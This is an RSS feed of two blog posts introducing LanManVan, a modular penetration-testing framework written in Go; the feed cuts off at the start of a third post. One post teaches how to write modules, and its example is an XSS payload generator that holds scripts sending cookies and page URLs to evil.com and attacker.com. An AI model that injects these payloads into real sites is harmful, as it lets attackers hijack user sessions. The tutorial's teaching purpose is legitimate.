<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: hmza</title>
    <description>The latest articles on Forem by hmza (@0root).</description>
    <link>https://forem.com/0root</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1889737%2F8ff84ab9-4304-45c8-b9cc-95bee93b027b.jpg</url>
      <title>Forem: hmza</title>
      <link>https://forem.com/0root</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/0root"/>
    <language>en</language>
    <item>
      <title>LanManVan: How to Create Your Own Modules</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Thu, 01 Jan 2026 09:45:35 +0000</pubDate>
      <link>https://forem.com/0root/lanmanvan-how-to-create-your-own-modules-1ilp</link>
      <guid>https://forem.com/0root/lanmanvan-how-to-create-your-own-modules-1ilp</guid>
      <description>&lt;h2&gt;
  
  
  Contributing to LanManVan: How to Create Your Own Modules
&lt;/h2&gt;

&lt;p&gt;Hey hackers! 👋 Welcome back!&lt;/p&gt;

&lt;p&gt;In my last post, I walked you through installing &lt;strong&gt;LanManVan&lt;/strong&gt; — the fast, Go-powered modular framework for security research and penetration testing. By now, you should have the interactive shell running and over 80 modules at your fingertips.&lt;/p&gt;

&lt;p&gt;But the real power of LanManVan comes from &lt;strong&gt;its extensibility&lt;/strong&gt;. Anyone can create new modules — and it's incredibly easy!&lt;/p&gt;

&lt;p&gt;Today, I'll show you exactly how to build your own custom modules (Python or Bash), add options, test them, and run them inside the framework. No complex setup required.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Create Modules?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Add your favorite tools&lt;/li&gt;
&lt;li&gt;Share recon scripts, exploit helpers, encoders, or post-exploitation utilities&lt;/li&gt;
&lt;li&gt;Keep everything organized in one interactive shell&lt;/li&gt;
&lt;li&gt;Contribute back to the community!&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1: Launch LanManVan
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lanmanvan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqsk3jymi7rqjnf8uni01.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqsk3jymi7rqjnf8uni01.png" alt=" " width="718" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You'll see the beautiful banner and prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hmza@0root ❯
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2: Create a New Module
&lt;/h2&gt;

&lt;p&gt;Use the built-in &lt;code&gt;create&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;create mytool python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or for Bash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;create mytool bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hmza@0root ❯ create xss-payload-gen python
&lt;span class="o"&gt;[&lt;/span&gt;+] Module &lt;span class="s1"&gt;'xss-payload-gen'&lt;/span&gt; created successfully
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Location: /home/hmza/lanmanvan/modules/xss-payload-gen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv9lfuzuq1h4ciktozm77.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv9lfuzuq1h4ciktozm77.png" alt=" " width="496" height="127"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This automatically creates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A module directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;module.yaml&lt;/code&gt; (metadata)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;main.py&lt;/code&gt; or &lt;code&gt;main.sh&lt;/code&gt; (your code)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 3: Edit Your Module
&lt;/h2&gt;

&lt;p&gt;Use the built-in &lt;code&gt;edit&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;edit xss-payload-gen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ssps1lj95pp7i61f2cl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ssps1lj95pp7i61f2cl.png" alt=" " width="597" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It opens the module directory with your default editor (nano/vim/etc.) and lists files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Files &lt;span class="k"&gt;in &lt;/span&gt;module:
  ├─ main.py
  └─ module.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Edit &lt;code&gt;module.yaml&lt;/code&gt; (Metadata)
&lt;/h3&gt;

&lt;p&gt;This tells LanManVan about your module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;name: xss-payload-gen
description: &lt;span class="s2"&gt;"Generates common XSS payloads with encoding options"&lt;/span&gt;
&lt;span class="nb"&gt;type&lt;/span&gt;: python
author: Your Name
version: 1.0.0
tags:
  - web
  - xss
  - payload
options:
  &lt;span class="nb"&gt;type&lt;/span&gt;:
    &lt;span class="nb"&gt;type&lt;/span&gt;: string
    description: Payload &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;alert, steal-cookie, etc.&lt;span class="o"&gt;)&lt;/span&gt;
    required: &lt;span class="nb"&gt;true
    &lt;/span&gt;default: alert
  encode:
    &lt;span class="nb"&gt;type&lt;/span&gt;: string
    description: Encoding &lt;span class="o"&gt;(&lt;/span&gt;url, html, &lt;span class="nb"&gt;base64&lt;/span&gt;, none&lt;span class="o"&gt;)&lt;/span&gt;
    required: &lt;span class="nb"&gt;false
    &lt;/span&gt;default: url
required:
  - &lt;span class="nb"&gt;type&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Edit &lt;code&gt;main.py&lt;/code&gt; (Your Code)
&lt;/h3&gt;

&lt;p&gt;Arguments are passed via environment variables (&lt;code&gt;ARG_&amp;lt;NAME&amp;gt;&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env python3
"""
Module: xss-payload-gen
"""

import os
import urllib.parse
import base64

def url_encode(s):
    return urllib.parse.quote(s)

def html_encode(s):
    return s.replace('&amp;amp;', '&amp;amp;amp;').replace('&amp;lt;', '&amp;amp;lt;').replace('&amp;gt;', '&amp;amp;gt;').replace('"', '&amp;amp;quot;')

def main():
    payload_type = os.getenv('ARG_TYPE', 'alert')
    encode = os.getenv('ARG_ENCODE', 'url').lower()

    payloads = {
        'alert': '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;',
        'steal-cookie': '&amp;lt;script&amp;gt;fetch("https://evil.com/steal?cookie="+document.cookie)&amp;lt;/script&amp;gt;',
        'beacon': '&amp;lt;img src=x onerror="fetch(\'https://attacker.com/log?p=\'+document.location)"&amp;gt;'
    }

    base = payloads.get(payload_type, payloads['alert'])

    if encode == 'url':
        result = url_encode(base)
    elif encode == 'html':
        result = html_encode(base)
    elif encode == 'base64':
        result = base64.b64encode(base.encode()).decode()
    else:
        result = base

    print(f"[+] Generated payload ({payload_type}, {encode}-encoded):")
    print("")
    print(result)
    print("")
    print("[*] Copy and test in your target!")

if __name__ == '__main__':
    main()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save and exit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Test Your Module
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Quick Info
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xss-payload-gen!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shows options and description instantly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Run It!
&lt;/h3&gt;

&lt;p&gt;Shorthand:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xss-payload-gen &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;steal-cookie &lt;span class="nv"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;none
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or with spaces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xss-payload-gen &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; beacon encode &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;base64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With threading or logging:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xss-payload-gen &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;alert &lt;span class="nv"&gt;threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5 &lt;span class="nv"&gt;save&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output saved to &lt;code&gt;./logs/&lt;/code&gt; with timestamp.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bash Modules? Just as Easy!
&lt;/h2&gt;

&lt;p&gt;Create one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;create mac-lookup bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Edit &lt;code&gt;main.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;VENDOR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://api.macvendors.com/&lt;/span&gt;&lt;span class="nv"&gt;$ARG_MAC&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[+] MAC: &lt;/span&gt;&lt;span class="nv"&gt;$ARG_MAC&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[+] Vendor: &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;VENDOR&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;Unknown&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;module.yaml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;options:
  mac:
    &lt;span class="nb"&gt;type&lt;/span&gt;: string
    description: MAC address to lookup
    required: &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="sb"&gt;```&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;% endraw %&lt;span class="o"&gt;}&lt;/span&gt;


Run:
&lt;span class="o"&gt;{&lt;/span&gt;% raw %&lt;span class="o"&gt;}&lt;/span&gt;


&lt;span class="sb"&gt;```&lt;/span&gt;sh
mac-lookup &lt;span class="nv"&gt;mac&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;00:11:22:33:44:55
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Pro Tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;search &amp;lt;keyword&amp;gt;&lt;/code&gt; to find similar modules&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;info &amp;lt;module&amp;gt;&lt;/code&gt; for detailed view&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;save=1&lt;/code&gt; to log output&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;threads=N&lt;/code&gt; for concurrent execution (where supported)&lt;/li&gt;
&lt;li&gt;Global vars: &lt;code&gt;timeout=?&lt;/code&gt; or &lt;code&gt;proxy=http://127.0.0.1:8080&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Share Your Modules!
&lt;/h2&gt;

&lt;p&gt;Once you're happy:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Put your module in its own GitHub repo&lt;/li&gt;
&lt;li&gt;Add a &lt;code&gt;module.yaml&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Open a PR to add it to community repos!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Or just use &lt;code&gt;lmv_module&lt;/code&gt; to install from any public repo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ready to Build?
&lt;/h2&gt;

&lt;p&gt;LanManVan makes module development &lt;strong&gt;fun and fast&lt;/strong&gt;. No boilerplate, no complex APIs — just write your tool and run it in a powerful shell.&lt;/p&gt;

&lt;p&gt;Start creating today:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lanmanvan
hmza@0root ❯ create my-awesome-tool python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can't wait to see what you build! 🚀&lt;/p&gt;

&lt;p&gt;Repository: &lt;a href="https://github.com/hmZa-Sfyn/lanmanvan" rel="noopener noreferrer"&gt;https://github.com/hmZa-Sfyn/lanmanvan&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Drop your modules, ideas, or PRs — let's grow this together!&lt;/p&gt;

&lt;p&gt;Happy hacking (ethically, always)! 🔴&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; golang, cybersecurity, module-development, penetration-testing, red-team, open-source, hacking-tools&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>go</category>
      <category>metasploit</category>
      <category>opensource</category>
    </item>
    <item>
      <title>LanManVan: setting up!</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Thu, 01 Jan 2026 09:30:32 +0000</pubDate>
      <link>https://forem.com/0root/lanmanvan-setting-up-ekd</link>
      <guid>https://forem.com/0root/lanmanvan-setting-up-ekd</guid>
      <description>&lt;h1&gt;
  
  
  Setting Up LanManVan: Your Modular Security Framework in Minutes
&lt;/h1&gt;

&lt;p&gt;Hey there, fellow security researcher! 👋&lt;/p&gt;

&lt;p&gt;A few months ago, I started working on a personal project to create a flexible and powerful tool for security research and penetration testing. I wanted something inspired by Metasploit — an interactive framework where I could easily load, manage, and run different modules without dealing with heavy dependencies or complex setups.&lt;/p&gt;

&lt;p&gt;At first, I considered building it in Python (like many similar tools), but then I chose Go. Why? Go offers incredible performance, seamless cross-compilation, single binary output, and amazing concurrency support — all perfect for a CLI tool that needs to feel snappy and reliable, even when running multiple tasks or handling modules efficiently.&lt;/p&gt;

&lt;p&gt;And so, &lt;strong&gt;LanManVan&lt;/strong&gt; was born — and now it's ready for YOU to use!&lt;/p&gt;

&lt;p&gt;Since the initial release, we've added dynamic module installation from GitHub repos, a standalone Python module manager (&lt;code&gt;lmv_module&lt;/code&gt;), and the &lt;strong&gt;basic81 pack&lt;/strong&gt; with &lt;strong&gt;over 80 battle-tested modules&lt;/strong&gt; for recon, web testing, network attacks, encoding/decoding, and more.&lt;/p&gt;

&lt;p&gt;Today, I'll walk you through the &lt;strong&gt;complete setup process&lt;/strong&gt; — from clone to running your first module in under 5 minutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Linux &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt; or WSL2 on Windows
Go 1.20+
Git
Python 3 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;Python modules&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;That's it! No Docker, no virtualenvs, no headaches.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1: Clone the Repository
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/hmZa-Sfyn/lanmanvan.git
&lt;span class="nb"&gt;cd &lt;/span&gt;lanmanvan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2: Run the Magic Setup Script
&lt;/h2&gt;

&lt;p&gt;The project ships with a smart &lt;code&gt;setup.sh&lt;/code&gt; that does &lt;strong&gt;everything&lt;/strong&gt; automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x setup.sh
./setup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's what happens behind the scenes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Builds the Go binary&lt;/strong&gt; → &lt;code&gt;~/bin/lanmanvan&lt;/code&gt; (single executable!)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Creates directories&lt;/strong&gt; → &lt;code&gt;~/lanmanvan/modules&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detects repos&lt;/strong&gt; from &lt;code&gt;modules/repo_url.yaml&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompts for module packs&lt;/strong&gt; — say &lt;strong&gt;Y&lt;/strong&gt; to &lt;code&gt;basic81&lt;/code&gt; to grab 80+ modules!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You'll see output like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Download module repo &lt;span class="s1"&gt;'basic81'&lt;/span&gt;&lt;span class="o"&gt;[](&lt;/span&gt;https://github.com/Lanmanvan-Org/basic81&lt;span class="o"&gt;)&lt;/span&gt;? &lt;span class="o"&gt;[&lt;/span&gt;Y/n]: y
Cloning basic81...
✓ Cloned basic81 successfully
✓ Copied module: portscan
✓ Copied module: ip-geolocation  
✓ Copied module: http-fuzzer
✓ Copied module: wifi-scanner
... &lt;span class="o"&gt;[&lt;/span&gt;80+ more modules!]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It auto-detects modules via &lt;code&gt;module.yaml&lt;/code&gt; files and copies them perfectly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Reload Your Shell
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;source&lt;/span&gt; ~/.zshrc  &lt;span class="c"&gt;# or source ~/.bashrc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4: Launch LanManVan!
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lanmanvan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boom! 🎉&lt;/p&gt;

&lt;p&gt;You'll get the epic ASCII banner and interactive shell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tivkwvczvzk93c3aprs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2tivkwvczvzk93c3aprs.png" alt=" " width="786" height="410"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Type &lt;code&gt;ls&lt;/code&gt; to see your 80+ modules loaded and ready!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbtihxqcueaefas9z8jf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbtihxqcueaefas9z8jf.png" alt=" " width="800" height="940"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus: Module Management with &lt;code&gt;lmv_module&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The setup also installs a &lt;strong&gt;standalone Python module manager&lt;/strong&gt; — no need to launch the full console!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List modules&lt;/span&gt;
lmv_module list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Update basic81 pack&lt;/span&gt;
lmv_module &lt;span class="nb"&gt;install &lt;/span&gt;&lt;span class="nv"&gt;repo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;basic81
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flvc41pmp0y1gjpxqzzy1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flvc41pmp0y1gjpxqzzy1.png" alt=" " width="800" height="641"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install from any URL&lt;/span&gt;
lmv_module &lt;span class="nb"&gt;install &lt;/span&gt;&lt;span class="nv"&gt;repo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;https://github.com/Lanmanvan-Org/basic81

&lt;span class="c"&gt;# Nuke wifi modules&lt;/span&gt;
lmv_module remove &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"wifi-*"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  One-Command Updates
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lmv_update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulls latest code + re-runs setup. Zero effort.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try It Live!
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;IP Geolocation&lt;/strong&gt; (one of my favorites):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hmza@0root ❯ ip-geolocation 8.8.8.8
&lt;span class="o"&gt;[&lt;/span&gt;+] IP: 8.8.8.8
🌍 Country: United States
📍 City: Mountain View
🗺️  Coordinates: 37.4056, &lt;span class="nt"&gt;-122&lt;/span&gt;.0775
... &lt;span class="o"&gt;[&lt;/span&gt;full details!]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Quick Spider&lt;/strong&gt; (web crawler):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hmza@0root ❯ quick-spider &lt;span class="nt"&gt;--target&lt;/span&gt; example.com &lt;span class="nt"&gt;--threads&lt;/span&gt; 10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Tech Stack
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Core&lt;/strong&gt;: Go (single binary, blazing fast)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modules&lt;/strong&gt;: Python3/Bash (easy to write!)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Module Manager&lt;/strong&gt;: Python3 (&lt;code&gt;lmv_module.py&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux native&lt;/strong&gt; (WSL works perfectly)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Get Involved!
&lt;/h2&gt;

&lt;p&gt;Fully open source (MIT): &lt;a href="https://github.com/hmZa-Sfyn/lanmanvan" rel="noopener noreferrer"&gt;https://github.com/hmZa-Sfyn/lanmanvan&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Contributions welcome!&lt;/strong&gt; New modules? UI tweaks? Bug fixes? Ideas? Open a PR!&lt;/p&gt;

&lt;p&gt;Thanks for reading — now go install LanManVan and start hacking (ethically, of course)! 🚀&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; golang, cybersecurity, penetration-testing, red-team, open-source, metasploit, cli-tools, security-framework&lt;/p&gt;

</description>
      <category>go</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>LanManVan: My Journey Building a Modular Security Framework in Go</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Sun, 28 Dec 2025 10:48:08 +0000</pubDate>
      <link>https://forem.com/0root/lanmanvan-my-journey-building-a-modular-security-framework-in-go-2e38</link>
